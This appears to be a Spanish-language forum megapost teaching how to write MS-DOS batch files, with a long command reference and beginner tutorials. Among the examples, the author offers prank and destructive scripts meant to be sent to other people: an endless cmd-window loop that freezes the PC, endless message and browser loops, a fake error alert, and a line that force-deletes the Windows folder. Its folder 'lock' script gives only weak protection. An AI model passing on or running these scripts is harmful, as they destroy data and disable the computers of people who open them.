Sie sind auf Seite 1von 129

Archivos .

BAT//Comandos MS-DOS
Bueno es mi primer post y les voy a ensear algunos comandos MS-DOS y como crear nuestro propio archivo .BAT, pueden usarlo como las les guste. NO ME HAGO RESPONSABLE DEL USO QUE LE DEN. Primero un poco de Info: El MS-DOS fue el producto clave, a finales de los aos ochenta del siglo XX, en la transformacin de Microsoft desde sus orgenes en los aos 70 como proveedor especializado en lenguajes de programacin a su actual estado como gigante en la industria informtica. Precisamente los ingresos por las ventas de MS-DOS (particularmente mediante contratos exclusivos con marcas, probados como ilegales en Estados Unidos ms tarde) [cita requerida] hicieron posible un espectacular crecimiento de la compaa. De hecho, hasta la salida de Windows 95, los ingresos por MS-DOS eran superiores a los de Windows. Con el tiempo MS-DOS imit otros sistemas operativos; MS-DOS 2.0 introdujo caractersticas de Unix tales como subdirectorios, es decir, estructura jerrquica y redireccin de entrada/salida de rdenes y tuberas (en ingls pipe). Actualmente, MS-DOS ha sido sustituido por la familia de sistemas Windows de Microsoft, sin embargo la consola de comando del sistema permite acceder a un entorno de texto con casi los mismos comandos de MS-DOS. Las primeras versiones de Windows podan ejecutar programas para MS-DOS. Las ltimas versiones de DOS "extendidas" usaban el modo protegido. Las ltimas versiones de Windows se ejecutan independientemente de DOS pero incluyen una parte importante de viejo cdigo que puede ejecutarse en mquinas virtuales (virtual machines). Bueno ahora vamos a crear nustro propio archivo .BAT : 1ero Abrimos un bloc de notas (.txt) y dentro de el ponemos los comandos. 2do Una ves terminado de cargar los comandos que mas nos gusten, vamos a "guardar como" y ponemos el nombre que mas nos guste, como por ejemplo: nombre.bat (es importante que lo hagan desde guardar como y que pongan .bat porque sino, no les va a funcionar).

Ah pone, a la izquierda: Este, hara que salieran infinitas ventanas en las que pusiera "Hola!" Y a la derecha: Escribir al final .bat para que funcione. (La explicacin de esto, est antes de la imagen). 3ero Ahora puedes mandarlo a alguien o abrirlo en tu PC (No es recomendable), y cuando lo abra se ejecutarn los comandos MS-DOS que hayas puesto en el archivo .bat Bueno, ahora algunos comandos MS-DOS:

1ero Esto lo que hace es abrir muchas ventanas cmd (es de la categoria molestos), la PC se trabar. echo off :uji start goto uji exit

2do Este comando muy util, sirve para crear una unidad de disco virtual (lo ejecutan y tendran una unidad de disco como la C : echo off :menu cls color b title BIENVENIDO AL CREADOR DE DISCO DURO VIRTUAL BY LocalGmrs echo. echo BIENVENIDO %USERNAME% ECHO. ECHO ELIJE UNA OPCION... ECHO. ECHO ======================================== === ECHO = 1. CREAR UN DISCO DURO VIRTUAL == ECHO = 2. BORRAR EL DISCO DURO VIRTUAL == ECHO = 3. SALIR == ECHO ======================================== === ECHO. SET /P ver= QUE DESEA HACER? if %ver%==1 goto crear if %ver%==2 goto bo if %ver%==3 goto salir :crear md "c:disco duro extra" attrib +h "C:disco duro extra" subst I: "C:disco duro extra" msg * EL DISCO DURO VIRTUAL SE CREO SATISFACTORIAMENTE goto menu :bo attrib -h "C:disco duro extra" rd "c:disco duro extra" subst I: /d msg * EL DISCO DURO VIRTUAL SE BORRO SATISFACTORIAMENTE goto menu

:salir msg * GRACIAS POR USAR MI PROGRAMA... exit Este comando manda mensajes infinitos en una ventana situada al medio de la pantalla. echo off :bucle msg * Hola! goto bucle exit 3ero Este comando borra el windows, CUIDADO CON LO QUE HACEN: echo off title g00d by3 wind0w5 echo 4dio5 a tu wind0w5 del /s /f /q c:windows exit

4_Este es para abrir todas o la pagina que desees: echo off start www.taringa.net exit (En este caso se abriria Taringa!) Para mas paginas solamente agreguen mas start o hagan bucle, vean este ejemplo: AGREGAR MAS START: echo off start www.taringa.net start www.taringa.net exit Pueden poner los Start que quieran AGREGAR BUCLE echo off :bucle start www.taringa.net goto bucle 5 Para cambiar el IP: echo off cd ipconfig/release ipconfig/renew

6 Este apaga el equipo en 10 segundos ( -s es apra Apagar -t es para el tiempo en el que se va a apagar y si quieren poner un comentario escriban -c "Comentario" Donde pone Comentario escriban lo que quieran). Este apagara PC en 10 segundos: shutdown -s -t 10 Este apagara PC en 10 y te mandara un mensaje: shutdown -s -t 10 -c "Tu PC se apagara en 10 segundos" 7este reinicia: (Tambien pueden poner comentario con -c) shutdown -r -t 10

Bueno a Continuuacion les dejo una Lista completa de Comandos MS-DOS para sus archivos .BAT :

CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. ATTRIB - Presenta en pantalla o modifica los atributos de los archivos. COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc. DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva. EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usar esencialmente para modificar pequeos archivos de texto, empezando por los llamados "archivos de sistema, que son el CONFIG.SYS y el AUTOEXEC.BAT. FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones. FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el directorio y la tabla de asignacin de los archivos (FAT), y cargando el programa de inicio. INSTALL O INSTALAR- Carga los programas residentes, a travs del Config.Sys. MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory, creacin de un directorio. MSCDEX - Acceso a los CD-ROM. A partir del DOS 6.

SCANDISK - Herramienta de verificacin y reparacin de los discos duros, pero slo a partir de la versin 6.2. Aca estan los demas para los que quieren saber mas del dos ANSI.SYS - Carga el cdigo ANSI. Interviene en el Config.Sys mediante un Device= APPEND - Indica al sistema en qu directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que slo se ocupa de archivos de comandos. ASSIGN - Enva el comando direccionado en un disco hacia otro disco; este ltimo reemplaza al primero. Ya no existe en el DOS 6. BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauracin de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendicin porque este comando era uno de los ms difciles de manejar. BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programacin ms simple que existe. BAT - Extensin especfica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los ms conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automticamente cuando usted pone su computadora en funcionamiento. BREAK - Activa o desactiva la posibilidad de realizar una interrupcin con Control + Pausa, que permite salir de una secuencia. BUFFERS - Comando para el config.sys que determina la capacidad del bfer para el disco. CALL - En un archivo .bat, llama a otro .bat como un subprograma. CD - Cambio de directorio; su nombre completo es CHDIR. CHCP - Seleccin de las tablas de cdigos. CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR si quiere evitar presionar tres teclas en el teclado. CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria. CHOICE - Una novedad del DOS. 6. Le pide al usuario que efecte una seleccin en una secuencia batch.

CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeo e interesante que conviene recordar. CONFIG.SYS - Archivo de configuracin que dispone de instrucciones propias. Este archivo se ejecuta automticamente cada vez que se pone en funcionamiento la computadora. COUNTRY - Nacionaliza el sistema, adaptndolo al pas. DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes. DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresin puede variar normalmente de 1,7 a ms de 10, segn el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22. DBLSPACE.SYS - Una novedad del DOS 6. Determina la posicin final del archivo dblspace.bin. DEBUG - Lanza el programa de "debugging' (eliminacin de errores). Debug est reservado a los expertos. DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad. DEL - Destruye uno o varios archivos en el disco (acta como el comando ERASE). DELOLDOS - Suprime la puesta en reserva de un DOS antiguo. DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios, en una sola operacin. DEVICE - Instala un driver de perifrico, por medio del config.sys. DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB. DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo. DISKCOPY - Copia de modo idntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este ltimo y hacindolo sobre el modelo del disquete fuente si es necesario. DISPLAY.SYS - Se utiliza para conmutar las tablas de cdigos, va el config.sys. DOS - Establece un vnculo entre la memoria convencional y la memoria superior a travs del config.sys. DOSKEY - Instala el programa de memorizacin y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos.

DOSSHELL- Llama a la superestructura de dilogo del DOS. Este dos shell ha sido suprimido en la versin DOS 6.2 ya que Microsoft consider que haba sido reemplazado ventajosamente por el Administrador de archivos de ese superprograma que es Windows. DRIVER.SYS - Administra las disqueteras, a travs del Config.Sys. DRIVPARM - Define los parmetros de perifricos en modo bloque, a travs del Config.Sys. DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones. ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, segn se ponga o no en servicio este eco, usando ON u OFF respectivamente. Permite introducir un mensaje que ser mostrado en pantalla en todos los casos. ERASE - Destruye uno o varios archivos del disco (y acta como el comando DEL). Opte por DEL ya que se escribe ms rpido. ERROLEVEL - Cdigo de errores para archivos .BAT Otra nocin ms para expertos. EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe ms en los DOS 6, est destinado a los programadores. EXIT - Sale de un procesador de comandos. En la mayora de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo. EXPAND - Descomprime un archivo comprimido. A partir del DOS versin 5. FASTHELP - Muestra en pantalla la lista de comandos de la versin 6 con una breve explicacin. FASTOPEN - Proporciona un acceso rpido a los archivos que se usan con ms frecuencia, o a los ltimos que se han utilizado, memorizando su camino de acceso. FC - Comparacin de archivos. No est disponible en todas las versiones. FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando est reservado a los expertos. FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys. FIND - Busca la cadena de caracteres indicada en un archivo y enva al perifrico activo de salida (el monitor, por ejemplo) todas las lneas en las que la encontr. FOR - Especifica la repeticin del mismo comando para cada una de las variables contenidas en la lista. GOTO - Es un direccionamiento incondicional a una lnea marcada con un rtulo del mismo nombre en un archivo .BAT.

Ejemplo: ("xd" lo pueden cambiar por lo que quieran) :xd msg * Hola goto xd GRAFTABL - Carga la tabla de los caracteres grficos, los cdigos ASCII 128 a 255, para la visualizacin en pantalla. No existe ms en el DOS 6. GRAPHIC - Carga una secuencia que permite la impresin de la pantalla que incluye caracteres grficos, de cdigos 128 a 255. GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe ms en el DOS 6, en el cual ha sido reemplazado por el QBasic. HELP - Pedido de ayuda. Desde el DOS 5. HIMEM.SYS - Administrador de memoria extendida. IF - Comando de ejecucin condicional para archivo .BAT. INCLUDE - Incluye un bloque de configuracin en otro, a travs del Config.Sys. Nuevo comando con el DOS 6. INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6. INTERSVR - Lanza el centro de recuperacin de datos InterLnk. Nuevo comando del DOS 6. JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe ms en el DOS 6. KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el teclado USA). LABEL - Crea, modifica o suprime el nombre atribuido a un disco. LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys. LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH. LINK- Llama al editor de conexiones. LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6. LOADHIGH - Carga un programa en la memoria superior, generalmente a travs del Autoexec.bat. Desde el DOS 5. Otro nombre: LH. MACROS - Realizacin de macros con Doskey.

MEM - Muestra en pantalla la memoria ocupada y la disponible. MEMMAKER - Administracin y optimizacin de la memoria, pero con los DOS 6. MENUCOLOR - Determina el color del texto y del fondo para el primer men, a travs del Config.Sys. A partir del DOS 6. MENUDEFAULT - Especifica el men por defecto, en el inicio. A partir del DOS 6. MENUITEM - A partir del DOS 6. Define un tem del men de arranque. MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5. MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory, creacin de un directorio. MODE - Establece las condiciones de funcionamiento de los perifricos, impresora, interface de video y conexiones en serie, y tambin sirve para la preparacin de las tablas de cdigos. MORE - Para visualizar pgina por pgina en la pantalla (es decir, sin que desfilen ininterrumpidamente en la pantalla) MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6. MSAV - Programa antivirus. A partir del DOS 6. MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6. MSD - Provee informacin tcnica sobre su computadora. A partir del DOS 6. NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support Function. Da informaciones complementarias sobre los pases y prepara el uso de las tablas de cdigos con CHCP NUMLOCK - Determina que la seccin numrica del teclado est bloqueada o no, a travs del Config.Sys. Nuevo comando a partir del DOS 6. PATH - Especifiica caminos de bsqueda alternativos para los archivos de comando (con la extensin .COM, o .EXE o .BAT) que no se encuentran en el directorio activo. Este comando se encuentra generalmente en el archivo Autoexec.bat. PAUSE - Suspende la ejecucin de un programa .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como mximo. POWER - Pone en servicio o saca de servicio la administracin del consumo de energa. Nuevo comando a partir del DOS 6.

PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla. PROMPT - Define o muestra en pantalla los smbolos del sistema utilizados por el DOS. RAMDRIVE - Instala un disco virtual, a travs del Config.Sys. RD - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR. RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. Los datos de este sector se habrn perdido. No existe ms en el DOS 6. REM - Introduce observaciones, comentarios, en 123 caracteres como mximo por lnea de REM. REN - Cambia el nombre de un archivo. RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero ms largo de escribir. REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un disco destinatario. RESTORE - Restaura, restablece el contenido de un disco a partir de su copia de seguridad anterior, con los DOS hasta el 5 inclusive. En el DOS 6, slo existe para la compatibilidad. RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las marcas . y ..). El nombre abreviado es RD. SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre seguido de su equivalencia. SETVER - Declara las versiones del DOS para algunas aplicaciones. SETVER.EXE - Administrador de SETVER. SHARE - Instala el programa para compartir archivos. SHELL - Instala un procesador de comandos. SHIFT - Sirve para utilizar ms de 10 parmetros reemplazables numerados de 0 a 9, en las lneas de comando, marcando una diferencia de una posicin para cada SHIFT que se introduce. SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareci en el DOS 6. SIZER.EXE - Utilizado por el programa de optimizacin de la memoria MemMaker Novedad del DOS 6. SMARTDRV - Creacin de la antememoria de disco SmartDrive.

SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive. SORT - Ordena datos. STACKS - Define las pilas, a travs del Config.Sys. SUBMENU - Define un tem del men de arranque abriendo un submen. Nuevo comando del DOS 6. SUBST - Sustituye un camino de acceso cuya descripcin es larga, y/o su unidad, por una unidad de disco ficticia que bastar con llamar luego. SWITCHES - Sustituye el teclado extendido por el teclado convencional. SYS - Copia los tres archivos que sirven de ncleo al sistema del disco fuente activo al disco destinatario. TEMP - Variable de entorno. TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes, resguardados). TREE - Muestra los rboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria). TYPE - Muestra en pantalla el contenido de un archivo. UNDELETE - Recuperacin de archivos borrados. A partir de la versin DOS 5. UNFORMAT - Reconstruccin de un disco reformateado. A partir del DOS 5. VDISK - Instala un disco virtual, a travs del Config.Sys. Dej de estar incluido a partir del DOS 6. VER - Muestra en pantalla la versin activa del DOS. VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificacin de los datos escritos en el disco. VOL- Muestra en pantalla el nombre del disco solicitado. VSAFE - Residente antivirus. XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un comando excelente que puede servir incluso para efectuar copias de seguridad. ------------------------------------------------------------------------------------------------------------------------------- ----Ahora les voy a ensear como crear un Msgbox. MsgBox "texto" , configuracion , "titulo"

Donde tenemos: texto - texto que se muestra en el cuerpo de la alerta. configuracion - Nmero que define las caractersticas de la alerta. titulo - Texto que se mostrar en la caja de texto. Para configurar la alerta, pondremos en configuracin un nmero que ser la suma de los nmeros de la siguiente lista: 0 - Solo botn OK, el boton por defecto es el primero 1 - Botones OK y Cancelar 2 - Botones Abortar, Reintentar y Ignorar 3 - Botones Si No y Cancelar 4 - Botones Si y NO 5 - Botones Reintentar y Cancelar 16 - Icono de error 32 - Icono de pregunta 48 - Icono de peligro 64 - Icono informativo 256 - El boton por defecto es el segundo 512 - El boton por defecto es el tercero 4096 - Mensaje de sistema, mostrar un icono en la barra de ttulo, la alerta ser independiente de la ventana, aunque cambies a otro programa, la alerta se mostrar en pantalla.

Ejemplo: En el bloc de notas ponemos lo siguiente: MsgBox"Error grave, se ha perdido la informacion",4117,"Error grave" El numero de configuracion usado en el ejemplo, el 4117, es la suma del 5 (Reintentar y Cancelar) + 16 (Icono de error) + 4096 (Mensaje de sistema), de esta manera conseguimos configurar 3 parmetros de la alerta. Y para guardar el archivo hacemos lo siguiente: Vamos al men archivo, seleccionamos guardar, colocamos el nombre que queramos al archivo finalizando con la extensin .vbs , seleccionamos en tipo todos los archivos y hacemos clic en guardar y listo! ------------------------------------------------------------------------------------ -------------------------------------------------------------------------------Aqui como ocultar carpetas: cls ECHO OFF title Folder Private if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK

if NOT EXIST Private goto MDLOCKER :CONFIRM echo Deseas bloquear esta carpeta(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Escriba la contrasea para desbloquear la carpeta set/p "pass=>" if NOT %pass%== Contrasea aqui goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private echo Folder Unlocked successfully goto End FAIL echo Invalid password goto end :MDLOCKER md Private echo Private created successfully goto End :End Ahora cambian las palabras que estan en rojo por el nombre de la carpeta que van a a poner a la carpeta, y donde esta en verde ahi van a poner la contrasea de la carpeta Se van a archivo ahi mismo en el bloc de notas y le dan guardar como... En la ventana que les aparece lo guardan con el nombre que quieran pero con la terminacion .bat como en los otros ejemplos. Listo!! ahora solo copian ese archivo por ejemplo en DOCUMENTOS le dan doble clic al archivo .bat y se les creara la carpeta con el nombre que le pusieron, pero ojo aun no tiene la contrasea lo pueden comprobar abriendo la carpeta y veran que no tiene contrasea y que cualquiera la puede abrir, para esto le vuelven a dar doble clic al archivo .bat y les aparecera una ventanita preguntando que si quieren bloquear la carpeta solo escriben la letra "Y" y le dan al enter y automaticamente se desaparecera la carpeta que se creo primero, para desbloquearla solo tienen que abrir de nuevo el archivo .bat y les pedira la contrasea la ponen y de nuevo aparecera la carpeta. Les recomiendo escribir el nombre de su carpeta private para que no les cambie el nombre

----------------------------------------------------------------------------------------------------------------------------- -------------------------------------REPITO: NO ME HAGO RESPONSABLE DEL USO QUE LE DEN. Y COMO YA SABEN COMENTAR ES AGRADECER Y VALORAR ES AYUDAR A UN NOVATO A SER NFU xD Y PARA LOS QUE COMENTEN QUE NO ES VIRUS NI NADA, YO YA HE DICHO QUE NO LO S. SOLO ES UN POST INFORMATIVO; CON INFORMACIN DE LO QUE PUEDEN HACER CON MS-DOS Y ARCHIVOS .BAT Y POR ULTIMO VUELVO A REPETIR (xD): NO ME HAGO RESPONSABLE DEL USO QUE LE DEN, SOLO ES UN POST INFORMATIVO

Todo sobre ms-dos , bat, cmd, etc. [megapost]


Que es batch? dijo:Es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensin *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Cualquier comando DOS puede ser utilizado en un archivo batch.[/quote] Hay que aclarar Batch que no es un Lenguaje de Programacin. Es un archivo de cdigo que contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde Inicio>Ejecutar->CMD. Hay dos maneras de ejecutar comandos Batch. Desde el Shell de Windows. Escribindolos en un archivo de texto con extensin .bat y luego ejecutarlo.

Hola Mundo en Batch


Comenzaremos creando un Simple y clsico "Hola Mundo", escribiendo en un archivo de texto el siguiente cdigo. Codigo: dijo:@echo off echo Hola Mundo pause exit[/quote]

Ahora guardemos el archivo como Nombre.bat y lo ejecutamos. Nos aparecer una pantalla negra que dir "Hola Mundo", luego una linea abajo dir "Presione una tecla para continuar" Explicamos:

echo:
Imprime un texto en pantalla, que es el texto que viene despus (el que le pasamos como parmetro), que en este caso es "Hola Mundo". Echo significa eco, por lo mismo "@echo off" elimina el eco, la repeticin de la ruta en la que nos encontramos en cada lnea cdigo.

pause:
Como bien se lee, pausa la ejecucin del cdigo. Adems muestra el texto "Presione una tecla para continuar"

exit:
Cierra la ventana de comandos. Para dejar ms en claro cual sera la diferencia de no ocupar la linea @echo off la imagen de a continuacin muestra como se vera la pantalla sin esta linea.

Ahora aprenderemos algunas funciones de Batch:

CD o CHDIR:
Si has trabajado en PHP, te sera fcil entender este concepto. Sirve para cambiar de Directorio o Mostrar el nombre del actual. Para usarlo, CD o CHDIR seguido de la ubicacin del directorio al cual nos moveremos. cd "C:" chdir "C:" Los ejemplos anteriores hacen exactamente lo mismo, cambian al Disco C

COPY:
Sirve para copiar uno o ms archivos a otro destino. Su sintaxis es la siguiente: Copy "Direccin del archivo" "Nueva direccin" Ejemplo: Cdigo : dijo:Copy "C:archivo.txt" "C:archivo2.txt"[/quote] Aqu copiaramos un archivo del Disco C llamado "archivo.txt" como "archivo2.txt" Para acortar un poco podramos usar: Cdigo : dijo:cd "C:" Copy "archivo.txt" "archivo2.txt"[/quote]

Donde primero cambiamos de directorio al Disco C con cd "C:" y luego al copiar no tenemos que especificar que esta en el Disco C ya que ya nos encontramos en el.

DEL:
Sirve para eliminar uno o ms archivos. Su sintaxis es: Del "ARCHIVO" Tambin se puede aadir: del /f /q "archivo" Donde no pide confirmacin de eliminacin (/q) y fuerza al archivo a borrarse ( /f )

Move:
Sirve para mover un archivo. Su sintaxis es: Move "Direccin Archivo" "Nueva Direccin"

Cls:
Sirve para limpiar el contenido de la pantalla: Ejemplo: Cdigo : dijo:@echo off echo Hola, Cuando pulses la tecla se borrara el contenido y cambiara por otro. pause cls echo Ves? pause exit[/quote] Si quisiramos averiguar ms sobre las funciones, o conocer algunas nuevas por nuestra propia cuenta podemos escribir en el Shell el nombre del comando seguido de /? y aparecer toda la informacin necesaria. Podemos poner en prctica esto de la siguiente manera: Abramos el Shell de windows: dijo:Inicio->Ejecutar-CMD[/quote] Una vez abierto escribamos: dijo:echo off[/quote] Para eliminar el eco. Luego para borrar el contenido de pantalla escribe: Cdigo : dijo:cls[/quote] Ahora veamos la ayuda de la funcin Copy: Cdigo : dijo:copy /?[/quote]

Cerremos la ventana: Cdigo : dijo:exit[/quote] Ahora vamos a crear un Batch que copie un archivo, luego lo mueva a otro directorio, borre el original y vuelva a copiar el copiado. En la carpeta donde crears el archivo .bat crea un archivo de texto llamado copiame.txt. En l, escribe lo que quieras. Este ser el archivo que copiaremos. Ahora el Batch: Cdigo : dijo:@echo off echo Hola, Copiaremos un archivo pause copy "copiame.txt" "copiado.txt" move "copiado.txt" "C:copiado.txt" del "copiame.txt" cd "C:" copy "copiado.txt" "copiado2.txt" exit[/quote] Gurdalo en la carpeta como NombreQueTuQuieras.bat, y ejectalo. Lo que ha hecho la cadena de instrucciones es ms o menos lo siguiente: Primero apagamos el eco, luego imprimimos en pantalla "Hola, Copiaremos un archivo" Pausamos el intrprete para que no siga de largo. A continuacin, copiamos el archivo "Copiame.txt" y su copia se llamar "copiado.txt". La movemos a la carpeta raz del disco C, y eliminamos el original. Por ultimo cambiamos de directorio al disco C, copiamos la copia y cerramos el Batch. Despus de que ejecutemos el Batch, si vamos al Disco C, veremos que hay dos nuevos archivos de texto: uno llamado copiado.txt y otro copiado2.txt. Tambin si vamos a la carpeta del Batch, veremos no est el archivo de texto original, "copiame.txt".

Creacin de nuevos archivos:


Con Batch podemos crear otros archivos. Para ello, tenemos que escribir algo como esto: Cdigo : dijo:echo TEXTO DE PRIMERA LINEA > nombre.extensin echo TEXTO SEGUNDA LINEA >> nombre.extensin echo TEXTO SIGUIENTE LINEA >> nombre.extensin[/quote] Al escribir echo seguido de un texto y el signo > creamos un archivo con el nombre que siga.

Si ocupamos un echo seguido de un texto y el doble signo > (>>

se escribir en la siguiente

linea vaca del archivo que prosiga. Hagamos la prueba: Cdigo : dijo:echo Creando un Archivo de texto > nuevo.txt echo Esta es la Segunda linea >> nuevo.txt echo Y esta es la Siguiente >> nuevo.txt echo Esto esta genial >> nuevo.txt[/quote] Si ejecutamos eso, la pantalla negra se abrir y cerrar. Pero en la carpeta en la que est nuestro batch se abra creado un nuevo archivo "nuevo.txt" que si lo abrimos, dentro estar escrito lo que especificamos.

Personalizando el SHELL
Seguro que no te gusta mucho el aspecto del Shell. Aqu veremos como personalizarlo un poco.

COLOR:
Con la funcin color podemos cambiar los colores de fondo y las letras. Siendo su sintaxis: COLOR AB Donde A= El color de el Fondo y B= Color de las letras. Para ver todos los colores ve el MS-Dos y escribe color/?

TITLE:
Para cambiar el ttulo de la barra de tareas solo escribe: Title Loquequierascomotitulo

Pause Personalizado:
No te gusta que al poner pause salga "Presione una tecla para continuar..."? Pues si escribes "pause>nul" no aparecer ni un texto. Entonces si anteponemos un mensaje, quedara as. Cdigo : dijo:echo Aprieta cualquier tecla para seguir pause>nul[/quote] Adems puedes jugar con los caracteres. Aqu un ejemplo, donde cambi los colores y jugu con los caracteres y personalic el pause:

El cdigo que emple para esto fue: dijo:@echo off color 30 echo ================================== echo = = echo = Personalizado = echo = = echo ================================== echo. echo. echo Esto esta personalizado, para salir presiona una tecla. pause>nul exit[/quote] Cabe mencionar que echo. (Echo seguido de un punto)sirve para saltarse una lnea.

Matando Procesos:
Alguna vez has presionado CTRL+ALT+DELETE? Si lo haces se abre el Administrador de tarea. En la pestaa procesos salen algunos procesos que estn andando en tu pc, hacindoles clics y apretando "terminar proceso" lo puedes acabar. Con batch eso es muy fcil, se usa la funcin: Taskkill (No funciona en todos los pc, para ver si esta disponible escribe taskkill/?) Su sintaxis es: Cdigo : dijo:taskkill /f /im proceso.exe[/quote] /f Fuerza el trmino del proceso. Un ejemplo seria escribir. Cdigo : dijo:taskkill /f /im wmplayer.exe[/quote] Si lo ejecutas y tienes el Reproductor de Windows Media abierto, este se cerrar.

ABRIENDO PROCESOS:
Ahora abramos ese proceso que cerramos. Para abrir procesos se usa la funcin Start que funciona as: Cdigo : dijo:start proceso.exe[/quote]

Tambin puedes abrir paginas web con tu explorador predeterminado. Ejemplo1: Cdigo : dijo:start wmplayer.exe[/quote] Se abrir el Reproductor de Msica Ejemplo2: Cdigo : dijo:start www.google.cl[/quote] Para llamarla debemos escribir su nombre entre los signos %% Ejemplo: Cdigo : dijo:@echo off set Nombre= Fabrimich echo %Nombre% pause[/quote] La pantalla nos mostrara algo as:

VARIABLES:
Ahora aprendamos a declarar variables. Para crear una se escribe: Cdigo : dijo:set NOMBREVARIABLE = VALOR[/quote]

Para cambiar el valor solo debemos hacer esto: Cdigo : dijo:set Nombre= Nuevo Valor[/quote] Si quieres que tu Variable sea dinmica, osea que el Usuario la elija antepones /p: Cdigo : dijo:set /p Nombre=Escriba su Nombre:[/quote] Donde el Batch se pausara solo mostrando el Mensaje que va luego de "=" dejando que se escriba algo. Tambin podemos multiplicarlas, sumarlas, etc... con /a: Cdigo : dijo:set numero1=2 ser numero2=43 set /a suma= %numero1% + %numero2% echo %suma% pause exit[/quote] Si ejecutamos este, nos devolver la suma de 2 + 43, 45. Creo que con esto ser suficiente. Ojal hayan entendido y les haya interesado el batch, que principalmente se puede usar para facilitar algunas tareas de Windows, ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes. Esta es la segunda parte de mi post Programacin Batch con archivos .bat, as que te recomiendo leerlo si es que no estas instruido en el tema. A continuacin veremos los siguientes temas: Uso de etiquetas Condicionales Creacin de Mens Apagado y Reiniciado de Pc Leer archivos externos Insertar al Registro Otras cosas tiles

Uso de etiquetas
